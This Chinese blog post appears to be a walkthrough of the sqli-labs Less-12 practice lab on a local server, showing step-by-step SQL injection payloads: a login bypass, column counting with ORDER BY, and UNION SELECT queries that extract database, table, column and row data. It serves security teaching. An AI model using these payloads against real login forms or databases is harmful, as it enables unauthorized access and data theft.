目 录CONTENT

文章目录

sqli-labs系列——Less-12

CZ
CZ
2023-06-10 / 0 评论 / 0 点赞 / 359 阅读 / 2931 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

这篇文章主要介绍了如何进行SQL注入攻击,并以Less-12为例进行了实验演示。在实验中,作者先尝试使用万能密码进行登录,然后通过order by语句来判断字段数,再通过union select语句来判断显错位、库名、表名和列名。最后,作者成功获取了emails表中id列的数据。该文章对SQL注入攻击的基本原理和实践操作进行了详细的阐述,适合初学者进行学习和实践。

前言

这题的做法和Less-11类似,只是闭合的区别

前期准备

开启phpstudy,开启apache服务以及mysql服务

打开ASCII表 图片-1685954430268

实验环节

浏览器访问Less-12

http://127.0.0.1/sqli-labs-master/Less-12/

图片-1686390731177

尝试万能密码

")or 1=1 -- xz
#需在登录框里输入该命令

图片-1686390711798

判断字段数

")or 1=1 order by 1 -- xz
#页面正常回显
")or 1=1 order by 2 -- xz
#页面正常回显
")or 1=1 order by 3 -- xz
#页面异常,说明字段数是2

图片-1686390770964

判断显错位

")union select 1,2 -- xz

图片-1686390821621

判断库名

")union select 1,database() -- xz
#可得出我们的库名是security

图片-1686390845191

判断表名

")union select 1,table_name from  information_schema.tables where table_schema='security' -- xz
#说明我们的表名是emails

图片-1686390879440

判断列名

")union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- xz
#说明我们的列名是id

图片-1686390914073

")union select 1,id from emails-- xz
#说明我们emails下的id列的数据是1

图片-1686390944313

0

评论区